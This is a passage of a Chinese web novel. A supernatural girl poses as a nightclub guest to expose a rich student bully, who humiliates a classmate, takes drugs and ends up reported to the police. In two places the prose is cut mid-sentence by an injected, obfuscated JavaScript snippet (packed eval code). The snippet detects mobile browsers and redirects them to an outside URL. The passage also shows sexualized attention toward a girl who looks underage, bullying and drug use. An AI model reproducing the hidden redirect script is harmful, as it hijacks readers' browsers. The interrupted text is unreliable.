黑色亮片在灯光下闪闪发亮,勾勒出少女初长成的曼妙曲线。她随意拨弄了下肩头的波浪卷发,发丝间露出那张带着婴儿肥的娃娃脸,哪怕是最成熟的夜店装扮,也掩不住眉眼间那股天然的稚气。 怎么看都像是偷穿妈妈衣服的未成年…… “……” 贺黎筠深吸一口气道:“或许,你的脸可以变得再成熟一点……就像我们第一次见面时的样子?你这样一看就是学生,夜店保安不会放你进去的。” 没有听到想象中的夸奖反而还说自己像小孩,薛宓不满地板起脸:“你以为我不想吗?我现在灵力不够维持完全体太久,这已经是最大程度了!” 见薛宓气鼓鼓地别过脸,不忍打击她积极心的贺黎筠,连忙安抚:“要不……我们试试化妆?画个成熟点的妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702855|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。” 他移开目光,继续开车道:“前面拐角就有家化妆品店。” 车子绝尘而去,只留下从公交车里下来的崔芳华,惊得下巴都差点掉了。 她刚才看到了什么?! 一个穿着吊带裙的年轻小姑娘,居然钻进了她儿子的车?! 崔芳华不敢置信地揉了揉眼睛。 可眼睛没有花!那辆车的牌照号确确实实是他儿子的! 但那个小姑娘看起来顶多十八岁啊!而且穿得这么……清凉…… 应该……不是未成年吧?! 她焦虑地咬着下唇,掏出手机纠结了一番后还是拨通了儿子的电话。 电话比想象中更快地接通了。 想到孩子都这么大了,自己竟还查岗打电话,崔芳华不禁有些赧然。她清了清嗓子故作随意道:“小筠啊,今天是不是又要加班?” “嗯,刚接到一个重要线人,正好是我们小区的。现在要回局里录详细口供,估计得忙到后半夜。” 原来是办案需要的线人…… 她松了口气,又隐隐有些失落。挂断电话后,不禁摇头失笑。 也是,就她儿子那个工作狂性子,哪来的时间谈恋爱?更不可能知法犯法和未成年谈…… 但转念一想,又忍不住纠结地拧起了眉毛,一时间竟不知道是儿子单身比较好,还是有这样年龄差巨大的女朋友更让人头疼…… 与此同时,挂掉电话的贺黎筠长舒了一口气。 除非有重要急事,妈妈很少在他工作时来电,刚才那欲言又止的语气,八成是看见薛宓上车的场景,从而误会了什么。 他当机立断用“线人”搪塞了过去,随即将车稳稳停在“丽人美妆”门前。 谁知刚熄火,就对上薛宓探究的目光。她歪着脑袋,眨着那双与衣着完全不符合的清澈大眼睛,直勾勾盯着自己。 他莫名觉得耳根发烫,轻咳一声移开视线:“那个……我妈刚才看见你上我车了。” 薛宓啧啧称奇:“你妈真的好关心你呀~看到陌生人上你车,还特意打电话来问。你都那么大了……” “……嗯。”贺黎筠低头松开安全带,声音不自觉地放软了些,“做家长的都这样,总会担心孩子……” “任何真正关心孩子的父母,听说自己未成年的女儿跑去夜店玩,都会急疯。我妈要是知道我带未成年去夜店,非打断我的腿不可。” 他转头看向薛宓,严肃地补充:“那种地方对年轻女孩来说太危险了。很多混夜场的男人,专门盯着涉世未深的学生妹下手,在酒里下药、灌醉……等发现不对劲的时候,什么都晚了。所以……” “所以,我将遇到一堆猎物吗?” 薛宓伸着懒腰,猫下了车,对着贺黎筠回眸一笑:“你这么说,我反而更期待了。” 35.夜店 一小时后。 正低头刷手机的贺黎筠,不经意间抬头,整个人微微愣住。 镜中的少女仿佛脱胎换骨,原本略带婴儿肥的小脸被修容塑造出精致的棱角,莹润的底妆衬托着她瓷白的肌肤,蜜桃色的腮红轻轻晕染,更添了一抹自然的红润感。 她原本的睫毛就卷翘得恰到好处,此时浅杏色的眼淡淡晕染,点缀着星星点点的香槟金亮片,衬得那双本就灵动的大眼睛更加明亮清澈。 “怎么样?”薛宓转头问道。化妆师正将她的卷发松松挽起,几缕碎发垂在雪白的颈侧,随着她好奇打量自己的动作轻轻晃动,看上去元气又明媚。 贺黎筠皱起眉:“眼影……能不能再加深些?最好画成烟熏的效果。” 化妆师尴尬。 这对颜值出众的客人进店时,明明说是要给妹妹化个成年礼的庆生妆容。她特意根据少女甜美的五官和亮片裙的搭配,设计了这款清新又不失精致的蜜桃妆,自认为发挥得相当不错。没想到哥哥竟不满意,还要给妹妹化个烟熏妆? 成年礼是女孩子最重要的生日之一,怎么会想要烟熏妆呢…… 化妆师突然恍然大悟! 这位顾客应该是想要那种改良版的小烟熏。现在流行把烟熏元素融入猫系妆,既保留清纯感又增添几分小性感…… 化妆师眼睛一亮,连忙利落地换了一把眼影刷,唰唰地在少女眼尾处晕染开深棕色的亮泽,配上珠光提亮内眼角,原本甜美的妆容顿时像小猫一样又纯又媚…… 却又不失少女的灵动。 真的太完美了!果然漂亮的小姑娘怎么化都好看。化妆师满意地拿起定妆喷雾,却突然从镜中瞥见那位英俊的顾客眉头越皱越紧,薄唇抿成一条直线。 “先生……是还有什么不满意吗?”化妆师举着喷雾的手僵在半空,心里直打鼓。 就见顾客低头瞥了眼时间后,眉头紧锁:“时间来不及了,就这样吧。”语气里满是勉强。 她暗暗松了口气,但心里还是因对方勉强的语气而微微腹诽——这都第二次改妆了,从清新蜜桃妆到猫系小烟熏,这位哥哥对妹妹的妆容要求未免也太严格了些……到底想化成什么样子啊。 “干嘛一看到我就皱眉?我觉得挺好看的呀。”薛宓嘟囔着。 玫瑰色的唇釉在灯光下泛着莹润的光,却因她下意识去扯裙摆的小习惯,又透出几分熟悉的稚气。 “你不会是因为我花了你一千,在生气吧……” “人类真是麻烦,要在脸上涂抹那么多东西,还这么贵……”虽然花的不是她的钱,但贺黎筠付钱的那一霎那,她还是忍不住跟着肉疼了一下。 所以瞧见贺黎筠沉默地离开,以为他因为花钱而不开心的薛宓,连忙打包票道:“放心,我保证让你这一千块物超所值。绝对把魏明俊的罪证拍得清清楚楚!” 贺黎筠顿了顿,揉着太阳穴叹气:“就怕钱花了,你连夜店大门都进不去。” 说话间,余光不经意间扫到薛宓亮着的手机屏幕。暂停中的视频封面上,一个浓妆艳抹的网红正对着镜头飞吻,标题赫然是《简单易懂的化妆技巧,让你变身夜店女神!》。 他额角不禁跳了跳:“……记住,进去后只取证,不准学那些乱七八糟的。” 上车后,又忍不住补了一句:“还有……以后少看这种视频。” 为避免引人注目,两人默契地分开排队,混入熙攘的人群中。 贺黎筠站在队伍中段,状似随意地把玩着手机,视线却穿过攒动的人头,牢牢锁住前方那个闪闪发亮的背影。 只见,排队还不到五分钟,一个穿黑西装的保安就径直朝薛宓走去。 他心里一紧。 果然,以薛宓那张稚气的娃娃脸,就算化了妆,打扮得再成熟,明眼人一看就知道是未成年,再加上她东张西望的新奇模样,典型的夜店新手,保安怎么可能不拦下。 看来只能执行PLAN B了。 谁知保安简单询问后,竟对没带身份证的薛宓放行了!而且还是免费入场! 望着薛宓头也不回蹦跳着消失在大门后的背影,贺黎筠还没回过神,手机就震了一下。 屏幕亮起,薛宓的消息带这个得意的猫猫表情包跳出来:【没想到我刚排队就顺利进来了吧!(骄傲.jpg)】 【保安说今天是卡颜局。颜值高的女客人可以优先进场,还因为是首次光临给我免单啦!(????)】 “……”上次穿着便衣来踩点,实打实排了两小时队,还付了三百块门票钱的贺黎筠在长队中凌乱。 夜店的营销策略贺黎筠当然懂——用免费入场吸引女性顾客,再用这些漂亮的女性资源招徕男性消费者,这是行业内心照不宣的营销手段。 可哪怕薛宓今晚刻意打扮成熟,在贺黎筠眼里,她举手投足间仍透着掩不住的稚气,还有那藏不住好奇和兴奋的眼神,怎么看都是个未成年孩子。 正常夜店见到这种无法证明年龄的顾客,第一反应应该是劝退才对。 但“迷夜”不仅爽快放行了,还殷勤地为她推开VIP通道,甚至免去了门票费用——理由仅仅是“欢迎第一次光临的新客人”。 这种反常的优待让贺黎筠瞬间警觉。 看来,魏明俊能进入“迷夜”并非是因他魏家少爷的特权,而是这家夜店本身就在默许未成年人进入。 等贺黎筠终于通过排队安检进入内场时,薛宓已经在卡座区坐了半个多小时。只见她被一群男人众星拱月般围在中央卡座。 其中一个梳着油头、穿着紧身衬衫的男人几乎要贴到她身上,正殷勤地递上一杯鸡尾酒,周围四五个男人也都色迷迷地打量着她。 贺黎筠差点一口老血喷出来。 在现在的贺黎筠心里,薛宓就是个未成年宝宝,甚至是一张纯色的画纸。曾经的她,被怨气浸染得彻底,就像一张被浓墨浸透的宣纸,只剩下纯粹的黑暗。 但这一年来,和学生老师们朝夕相处的日子里,那些纯真的笑脸如同清泉,一点一滴冲刷着墨色。渐渐地,纯黑的纸面上开始晕染出温暖的水彩…… 她或许,也能像其他小朋友一样,一笔一画描绘出属于自己的明媚未来。 可……望着眼前这些灯红酒绿的场景,他太阳穴突突直跳。 震耳欲聋的音乐冲击着耳膜,迷离的灯光下,男男女女贴身热舞,酒杯碰撞间尽是暧昧的调笑…… 这一刻,他前所未有地共情了那些严防死守的家长心情。这种纸醉金迷的场所,对心智尚未成熟的未成年人而言,简直是一场精神上的荼毒! 这般想着,贺黎筠铁青着脸拨开狂欢的人群。 然而,正要往薛宓的方向赶去时,眼角余光却突然捕捉到VIP通道的动静,只见一众保安的簇拥下,魏明俊正带着他跟班,大摇大摆地走进夜店。 他脚步一顿,就见薛宓若有所觉地转过头,视线轻轻落在了刚进门的魏明俊身上。 自解开封印这一年来,薛宓的世界除了犯罪者外,就只剩下纯真的小学生、温柔的班主任和善良的崔芳华。 那些温暖明亮的气息,就像冬日里的暖阳,让她不由自主想要靠近。每当坐在教室里,看着同学们天真烂漫的笑脸,她都能感受到内心深处某种尖锐的东西在慢慢软化。 可此刻的夜店里,竟有半数以上的男人身上冒着或浅或深的黑烟,在迷离的灯光下扭曲蠕动着。 尤其是这个递来酒杯的男人。还有不远处的舞池里,一个人模狗样的男人正借着跳舞的姿势,对身前的女孩上下其手…… 这与她这一年接触的纯真校园截然不同。眼前这个光怪陆离的世界,像是突然撕开了文明社会的伪装,露出最原始的欲望与恶意。 又或许,这才是世界本来的面目。 迷夜里从不缺漂亮姑娘,可徐晨从未见过这么正的——猫系的长相,清纯中透着性感,就像是一朵误入尘嚣的栀子花,正是最让人心痒难耐的纯一欲模样。 像这样青涩懵懂的小姑娘,在夜店迷离的灯光下,就像误入狼群的小白兔般惹人注目。 徐晨当即勾起志在必得的笑容,端着酒杯上前搭讪。谁知少女竟冷淡地别过脸去,连个眼神都欠奉。 他顿觉面上无光,恼羞成怒地一把攥住那截纤细的手腕,正要发作之际,少女竟猛然间挣脱。 她踉跄着后退几步,像只受惊的小鹿般慌乱转身,却不偏不倚,撞进了魏明俊的怀里。 徐晨怎么可能认不出魏明俊?看到这一幕,脚步不由得僵在了原地。 魏明俊正漫不经心地穿过走廊,忽然,一抹纤弱的身影跌跌撞撞地撞进他怀里。 他下意识伸手,掌心里传来温软的触感,像是无意间拢住了一团初生的云。 而低头时,正对上一双湿漉漉的杏眼。 少女的睫毛簌簌轻颤,苍白的脸颊因慌乱晕开薄红,宛如枝头樱花被风惊扰,仓促地从他怀里退开。 “对、对不起……”她的声音细若蚊呐。 “魏少,这什么情况啊?”跟班们嬉笑着围上来,眼神在两人之间来回扫视,嘴角挂着心照不宣的弧度。 四周的目光渐渐聚拢,有艳羡,有暧昧,像无数细小的火星,灼得魏明俊心口那股莫名的虚荣感越发滚烫。 “吓到了?”他勾唇一笑,顺势扣住少女纤细的腰肢,将嗓音放得轻柔了一些,“要去楼上休息一会吗?” 贺黎筠隐在暗处,看着少女在众人暧昧的起哄声中随魏明俊步入电梯。甚至,电梯门缓缓关闭的瞬间,她还回头,冲他的方向俏皮地眨了眨眼。 明明这么轻松就接近了魏明俊,可贺黎筠的眉头却越蹙越紧。 薛宓胸前那枚精致的蝴蝶胸针里,藏着针孔摄像头。原本的计划是让她悄悄潜上五楼偷拍些证据,谁能想到她居然直接跟魏明俊搭上了话,还被邀请进了VIP区。 应该……没问题吧?贺黎筠忍不住担心地想。 盯梢魏明俊的队员们正好在迷夜周围蹲点着,真要有什么突发状况,应该还来得及接应…… 就是,薛宓这些招数……究竟是从哪儿学来的??? 电梯内,魏明俊懒洋洋地倚着扶手,目光落在身旁的少女身上。她正仰着头好奇地打量电梯顶部的雕花,纤细的手指无意识地绕着发尾,全然没注意到他的视线。 “你不认识我?”魏明俊突然开口,声音里带着几分他自己都没察觉的诧异。 这反应倒是新鲜。 往常那些女子见到他,早该贴上来,一口一个“魏少”甜腻地献着殷勤,可身旁的少女却对这个富丽堂皇的电梯更感兴趣。 他玩味地想着,就见少女望向他,有些局促地摇了摇头:“我第一次来这儿。” 她抿了抿唇,像是想起什么不愉快的经历,声音又轻又软:“刚才那个人一直缠着我……多亏你帮我解围。” “第一次来啊……”魏明俊挑眉轻笑,不自觉地朝少女倾身半步,“我叫魏明俊,在这儿提我的名字,没人敢找你麻烦。” 他刻意放缓语速,带着几分炫耀的意味:“你呢?怎么称呼?” “叫我小宓就好。” 少女的声音轻软,却出乎意料地平淡。更让魏明俊意外的是,她不着痕迹地后退了半步,始终保持着恰到好处的距离——既不失礼,又带着微妙的疏离。 这种反应太过反常。魏明俊眯起眼睛:“你没听过这个名字?” 少女茫然地抬头,那双小鹿般澄澈的眼睛直直地望进他眼底。眼尾微微下垂的模样透着几分无辜,令魏明俊喉结不自觉地滚动了一下,竟忽然觉得电梯里的空气有些燥热。 他不自觉地直起身子,直到身旁传来咋呼的声音。 “你不认识魏少?!魏氏集团的二少爷魏明俊!?” 魏明俊嘴角微不可察地扬了扬,对这种反应很是受用。他慵懒地抬手制止了跟班继续吹捧,目光却紧锁着少女的反应。 只见少女惊讶地捂住嘴,睫毛轻颤:“啊……原来您就是魏少呀……” 魏明俊心头一热,这种被崇拜的感觉果然令人愉悦。他俯身凑近,带着几分诱哄的意味:“叫一声‘魏哥哥'',哥哥今天一定让你玩得尽兴!” “魏哥哥~”少女羞涩地唤了一声,甜甜的尾音像沾了蜜似地上扬,让魏明俊胸口更是涌起一阵熨帖的热流。 “等会儿跟着哥哥去包房玩,可别乱跑哦~” “叮——” 电梯门缓缓滑开,霎时间,迷离的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713494|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫色灯光如潮水般涌来,混杂着震耳欲聋的电子音乐。 薛宓下意识抬手挡了挡眼,待视线适应后,一抹难以抑制的笑意在她唇角悄然绽放。 舞池中央,各色衣着暴露的美女正在钢管上扭动身躯。而台下,暗紫色的灯光如同浑浊的雾霭,笼罩着堆满空酒瓶的茶几。 几个衣着光鲜的纨绔子弟已然醉眼朦胧,各自揽着女伴,笑声里带着几分肆无忌惮的放纵。 而在常人眼中纸醉金迷的浮华场景,在薛宓眼里却是另一番景象—— 那些摇晃的酒杯上缠绕着粘稠的黑雾,每个衣冠楚楚的男人身上都盘踞着深浅不一的黑色雾气,像一条条贪婪的毒蛇,在周遭女性身上游移缠绕。 而令人玩味的是,某些妆容精致、衣着暴露的女性身上,同样拖着扭曲变形的暗影。 呵,一个个都揣着见不得人的小心思呢~就是不知道最后谁能玩得过谁? 但倒是比想象中,更有趣了呢。 一进专属包厢,就像是回到自己领地般,魏明俊整个人懒散地陷进沙发里。 茶几上早已摆上精致的果盘,冰桶里镇着几瓶昂贵的香槟。包厢的灯光也被调成暧昧的暗红色,音响里流淌着慵懒的爵士乐,与外面震耳欲聋的电音形成鲜明对比。 他随手解开衬衫最上面的两颗扣子,修长的手指晃动着半杯威士忌,目光却始终黏在薛宓身上。 从进入五楼起,这少女就安静得像只误入狼群的小羊羔,双手规规矩矩地放在膝头,连眼神都不敢乱瞟。这副怯生生的模样,反倒激起了他骨子里恶劣的玩心。 “怎么,不赏脸喝一杯?”他故意将酒杯往少女面前推了推。 薛宓缩了缩身子,小声道:“魏、魏少……我真的不能喝……我还未成年。” 这句话像投进油锅的水滴,顿时激起一阵哄笑。魏明俊歪着头,露出玩味的笑容:“小可爱,你看看在场谁成年了?” 他俯身凑近,将酒杯推得更近了一些,声音带着诱哄:“来夜店不喝酒,多扫兴啊~乖,喝了它。” 许昭阳原本蜷缩在包厢角落,尽可能降低自己的存在感。可在看到魏明俊将酒杯推向少女时,他终于还是忍不住,声音发颤地开口,“魏少……这……这酒的度数有些高……她、她看起来比我们还小……” 包厢里的起哄声戛然而止。 魏明俊缓缓转过头,嘴角还挂着笑,眼神却冷得像毒蛇:“你说什么?” 许昭阳的喉结滚动了一下,后背已经渗出冷汗。但看着薛宓不知所措的样子,他还是硬着头皮重复道:“她不愿意喝……” 话音未落,魏明俊突然暴起,一脚踹在许昭阳膝盖上。 “砰”的一声闷响,许昭阳直接跪倒在地。 “许昭阳,你最近很飘啊?”魏明俊俯身揪住他的头发,强迫他抬头,“先是周砚修,现在又来个多管闲事的?” 旁边的跟班立刻上前,一巴掌朝着许昭阳扇了过去:“魏少说话的时候,轮得到你插嘴?” 左耳被打得嗡嗡作响,还没等许昭阳缓过神,冰凉的液体突然从头顶浇下。 他下意识闭紧双眼,却听见周围爆发出一阵哄笑。透过模糊的视线,他看到扭曲的人影在紫色灯光下晃动,笑声像钝刀般一下下刮着鼓膜。 “都怪你,把我们的小妹妹都吓坏了。” 魏明俊晃着倒空的酒杯,用鞋尖抬起许昭阳的下巴:“既然衣服湿了,就跳个脱衣舞给大家助助兴吧。” 酒液顺着许昭阳苍白的脸颊滑落,他却连擦都不敢擦一下,只能僵硬地扭动身体,手指颤抖着移向第一颗纽扣…… “动作快点!没吃饭吗?” “这就受不了?你告密的时候不是挺勇敢?” 包厢里的哄笑声骤然拔高,他就见那群人举起手机,嘲笑着将镜头对准着自己狼狈的模样。 好想死啊…… “别了,我不想看。”少女清脆的声音突然响起,“我是来夜店玩的,不要欺负人……” “欺负?”魏明俊嗤笑一声,手指漫不经心地敲打着酒杯边缘,“许昭阳,你自己说——是不是自愿的?” 指甲深深掐进掌心,许昭阳嘴唇颤抖着,挤出嘶哑的呜咽。 “……是自愿的。”每个音节都像钝刀割肉,缓慢而残忍地凌迟着他所剩无几的尊严。 好想死啊…… 魏明俊满意地勾起嘴角。 但难得泡个妞,他也不想自己的第一印象太差。 见小姑娘板着张小脸,他随意地挥挥手,像赶苍蝇似的对许昭阳说:“滚一边去,别在这碍眼。” 说完转头看向薛宓时又换上温柔的表情:“小宓不想喝酒就不喝了。要不要玩点别的?这里什么游戏都有,最新上映的电影也能马上调来。” 望着他们四人玩起了真心话大冒险游戏,许昭阳踉跄着退到角落。 泪水在眼眶里打转,他死死咬住下唇,生怕泄出一丝呜咽,又会招来新一轮的羞辱。 这一刻,他多希望,那天从天台上坠落的人不是周砚修,而是他…… 十分钟后,酒瓶在茶几上飞速旋转,最终瓶口颤巍巍地指向了一个跟班。 “真心话还是大冒险?”魏明俊懒洋洋地晃着酒杯,心里却是郁闷极了。这整整十分钟时间里,酒瓶竟一次都没有转到薛宓。 跟班犹豫片刻:“大……大冒险!” “去隔壁包厢,对着监控跳三十秒脱衣舞。”魏明俊话音刚落,众人立刻哄笑起来。男生涨红了脸,却在同伴的推搡下踉跄着出了门。 就在这时,包厢门被轻轻叩响。一个西装革履的经理躬身而入,脸上堆着谄媚的笑容。 “魏少,您要的货到了。” 正用小叉子戳着果盘的薛宓动作一顿。 她缓缓抬起眼睫,目光落在那个毕恭毕敬的经理身上。 只见这人周身缠绕的黑雾正疯狂扑向着魏明俊,与他脸上讨好的笑容形成令人毛骨悚然的反差。 有意思。薛宓微微眯起眼睛。 这人明明对魏明俊有着很深的恶意,可态度却恭敬得近乎卑微,连递东西时都是双手捧着。 她的目光顺势落在他神秘兮兮掏出并双手奉上的糖果盒上。 36.虐渣 魏明俊把玩着手中的糖果盒,粉色的小药丸整齐排列,乍一看就像普通的水果糖。 这东西真的有这么神奇吗? 他挑出一颗对着灯光端详,随即突然转头,声音里带着恶意的轻快:“许昭阳,过来尝尝这个。” 角落里缩着的许昭阳浑身一僵,脸色瞬间惨白。他太清楚那是什么! 魏明俊这个混蛋!自己不敢先尝,就拿他当小白鼠……一旦沾染,轻则倾家荡产,重则家破人亡!他是疯了才会去吃这种东西! 喉咙发紧,拒绝的话在喉咙里打转,就听到魏明俊冷冷道:“怎么,还要我请你?” “我……” 冷汗惊恐地滑落,就在魏明俊伸手要拽他衣领的瞬间,一个清脆的声音突兀地插了进来:“是什么好吃的糖果吗?” 许昭阳震惊地抬头,只见方才还怯生生的少女不知何时已经凑到魏明俊身边,眼睛亮晶晶地盯着他手中的药丸:“我超喜欢吃糖~可以给我尝尝吗?” “不……那是——”许昭阳阻止的声音在魏明俊一个眼刀下硬生生噎在了喉口。 “当然可以。”魏明俊笑着将一粒药丸放在少女的掌心,饶有兴致地观察她的反应。 她睫毛轻颤着,像只懵懂的小鹿,竟真的将那粒药丸送入口中。 “也不是很甜嘛。”少女皱了皱小巧的鼻子,语气里带着天真的失望。 魏明俊的笑容僵在脸上。 不对啊!这和他听说的完全不一样。经理明明保证过,只要一粒就能让人飘飘欲仙。难道是买到假货了? 他不信邪地又倒出一粒,这次亲自放入口中。 “这什么鬼味道……” 苦涩的味道瞬间在舌尖炸开,恶心得他差点吐出来。然而,强忍着咽下去后,一股异样的暖流突然从胃部窜了上来。 眼前的灯光开始扭曲变形,少女的脸忽远忽近。 耳边传来奇怪的嗡鸣声,像是有一万只蜜蜂在脑子里飞舞。魏明俊惊恐地发现自己的手指正在不受控制地抽搐,却又有种说不出的愉悦感在血管里奔涌。 “有……有点意思……”他听见自己的声音像是从很远的地方传来。 “你们也尝尝。” 他晃了晃手中的糖果盒,三个跟班见状也纷纷吞下药丸,很快也像烂泥般瘫在沙发上傻笑。 许昭阳蜷缩在角落,眼睁睁看着他们吞下药丸。不到十分钟,此起彼伏的傻笑就在包厢里回荡。 “咚!”直到突如其来的巨响吓得许昭阳一颤。 魏明俊不知何时站了起来,正疯狂踢踹着角落的垃圾桶。 垃圾桶被他踹得凹陷变形,垃圾散落一地。他又忽然转向沙发,揪起一个蓝色的抱枕狠狠掼在地上。 “许昭阳!你就是我魏明俊的狗!”他对着空气怒吼,仿佛眼前真站着个人似的,抬脚就往抱枕上猛踹,“你爹也不过是我家的一条看门狗!天天跪着给我妈开车门,你他妈也配瞪我?” “还有你那个病痨鬼妈——”魏明俊突然压低声音,模仿着女人咳嗽的样子,“咳咳……昭阳……”随即爆发出一阵尖锐的大笑,“要不是我爸赏口饭吃,早他妈死透了吧?” 他狞笑着,对着抱枕又是一巴掌:“你们全家都是我们魏家养的贱狗!” “周砚修那个蠢货……从五楼摔下去都没死透,现在躺医院当植物人,真是……哈哈哈……真是废物!” “要我说啊,早点断气多好?省得他妈天天在医院烧钱……” “报警?查监控?哈哈哈……”那个被撕烂的抱枕在魏明俊手里扭曲变形,羽绒纷纷扬扬落在他狰狞的脸上,“不会以为报警有用吧?我爹是魏延璋!你看警方查得出个屁!我迟早弄死你……” 耳边嗡鸣作响,魏明俊的每一句辱骂都像淬了毒的刀子,将许昭阳内心中最不堪的伤口血淋淋地剖开。 为什么死的不是他? 为什么像魏明俊这样的恶魔能活得这么光鲜亮丽? 为什么?为什么?为什么?! 明明最先被霸凌的是自己,明明是他没有复习好导致魏明俊成绩下滑,为什么最后坠落的是周砚修? 为什么活下来的……偏偏是他这个懦夫? 他该死!是他该死! 如果……如果那天从天台坠落的是他自己,至少不用在每个深夜被噩梦惊醒,不用看着周砚修母亲哭红的眼睛,不用承受这份比死还痛苦的愧疚…… 但—— 指尖触到金属的瞬间,一股寒意顺着脊椎窜上来。许昭阳眼瞳放大,发现自己竟不知何时拿起了果盘里的那把金属叉…… 明明无时无刻都有着想死的心,可望着眼前还在疯癫大笑的魏明俊,脑海中竟蛊惑般地浮现了三个字——杀了他。 只要抄起来,狠狠扎进那截晃动的脖颈……就能杀了他! 呼吸陡然间变得急促起来。 他幻想着刀刃割开皮肉的触感,幻想着魏明俊惊恐扭曲的表情。然而鲜血淋漓的想象带来的并非恐惧,而是一种扭曲的快意。 是的,魏明俊他该死! 许昭阳红着眼冲了上去。 然而,握刀的手却被一抹冰凉裹住,令他的理智猛然间回涌。 浑身沸腾的杀意仿佛顿时凝滞,他望着少女紧紧扣住自己的手,握着叉子的手不受控制地颤抖着:“你……你快走……” 却见少女非但没有被他吓退,反而眉头一蹙,冷冷问道:“你有勇气杀人,有勇气自杀,就是没勇气报警?” “杀人是要坐牢的,还是你觉得死了就一了百了?你有想过你父母怎么办吗?看着儿子成了杀人犯,然后一辈子活在旁人指指点点里?” 明明对方的声音是那么的轻,但句句反问的逼问却像一记记重重的耳光打在了他的脸上。 他苦涩地扯出一个嘲讽的笑容:“报警?可报警又有什么用?” “你没听到他说的吗!他爸是魏延璋,他们能买通学校,买通派出所,他有千万种方法折磨我……” “那如果——”薛宓晃了晃手机,“证据确凿呢?你愿意作证吗?” 还没等许昭阳反应过来,只见薛宓突然抬手—— “啪!” 一记响亮的耳光甩在魏明俊脸上。 魏明俊的脑袋猛地偏向一侧,脸颊瞬间浮现出鲜红的掌印。 许昭阳见状直接倒吸了一口凉气,下意识绷紧身体准备应对暴怒的反击,却见魏明俊只是痴痴笑着,涣散的目光飘向虚空,仿佛感受不到疼痛。 “反正他现在也记不住~不打白不打~”薛宓对着许昭阳眨眨眼,“你要打吗?杀人虽然有很严重的后果,但打人就不一样了。是他们吸毒后产生幻觉,互相殴打的,跟我们有什么关系呢?” 许昭阳怔了怔,胸腔里翻涌的情绪突然找到了出口。他鬼使神差地松开了手中的金属叉,也扬起了手…… “啪!” 这一巴掌下去,掌心火辣辣的疼,却像打碎了什么无形的枷锁。 “魏明俊,从今天起,我不会再做任你践踏的蝼蚁,不会再看着我珍视的人被你伤害……” 他望着自己发红的手掌,那股灼热的痛感仿佛点燃了压抑多年的怒火。他又扬起了手。 “啪!” 这一巴掌比先前更重,打得魏明俊整个人歪倒在沙发上。许昭阳却觉得还不够,还不够抵消这些年受的屈辱。 他揪起魏明俊的衣领,看着对方涣散的瞳孔里映出自己发红的眼眶。 “这一巴掌,是替周砚修打的。”他的声音抖得厉害,“这一巴掌——”又是一记响亮的耳光,“是替所有被你欺负的人打的!” 这段时间积压在心底的屈辱、愤怒与不甘,随着这三声响亮的耳光,竟奇迹般地消散了大半。但取而代之的,是终于夺眶而出的泪水。 “魏明俊,你完蛋了!” 仗着魏明俊神志不清,许昭阳恶狠狠地烙下狠话。 然而下一秒却见,瘫在沙发上的魏明俊突然开始疯狂扇自己耳光,涕泪横流地含糊念叨着“我错了”、“再也不敢了”之类的话。 “啪啪啪”的巴掌声在包厢里此起彼伏,令许昭阳攥紧的拳头僵在了半空。 “装模作样……”他冷笑一声,自然不会相信他是真的忏悔,八成是害怕自己报警举报他吸毒的事情。等意识清醒后,绝对会变本加厉地报复他! 但尽管恨意未消,看着对方这副狼狈模样,他终究没能再挥下一拳——他从来就不是个崇尚暴力的人。 所以义无反顾地拿起了手机。 但在拨号前,许昭阳猛然反应过来,转头望向一旁一直沉默的少女:“你知道他们在吸毒?!那你刚刚也吃了那东西!你没事吧……” 他怕报警,会连累到她…… 薛宓回眸一笑:“当然没吃啦,发现不对劲就偷偷吐掉了。” “不过我是未成年,可不想被爸妈知道来过这种地方。所以我先走啦~”薛宓说着,往门口退了几步,“毒品可不是魏延璋能一手遮天的小事,所以,不用担心。警察很快就来的。” 虽然许昭阳很想有个人陪自己一起作证,但想到可能带来的后果,那些未尽的请求终究咽了回去。 他不能再连累任何人了。 他张了张嘴,最终只是果决地点了点头:“谢谢你,点醒了我。” 他很没出息的,竟被一个看起来比自己还小的姑娘,捅破了这些年自缚的茧。 “这次……”许昭阳深吸一口气,解锁手机的动作不再犹豫,“无论要面对什么,我都不会再逃了。” “而他们亲手录下的每一个画面,那些相册里被当作玩笑保存的霸凌视频,都会成为最有力的证据。” 薛宓已经退到门口,闻言回眸一笑。走廊的灯光为她镀上一层柔和的轮廓,像个偶然降临人间的小精灵。 “嗯,祝你顺利~”她的声音轻快地消散在包厢的音乐中,仿佛只是来赴一场短暂的约。 薛宓当然没有真的离开。 夜店浑浊的空气里翻涌着浓郁的恶念,对她而言简直是饕餮盛宴。她隐在走廊阴影处,贪婪地汲取着,感觉体内的力量正以惊人的速度恢复着。 但她也没忘正事。许昭阳报警的同时,薛宓也给贺黎筠打了电话。 “贺黎筠。”她略有些骄傲地开口,“你前段时间一直头疼的那个毒品案,不是一直没抓到人吗?我找到线索了!刚刚经理亲自给魏明俊送了一盒小粉丸,还伪装成糖果的样子。我怀疑,这里有个毒品窝点。” “毒品?!”贺黎筠的声音陡然严肃起来。 他万万没想到,一个校园霸凌案竟会牵扯出毒品链条,更没想到自己随口提过的案子,薛宓居然记得这么清楚。 “我马上过来!” 薛宓会对毒品印象深刻,还要从孙全伟案件说起。当时,贺黎筠难得严肃地跟她科普了毒品的危害性。 正是这份罕见的郑重,让她对毒品产生了好奇,才在刚刚看到糖果盒时主动尝了尝味道。 结果苦得她尝了一下就吐了出来。 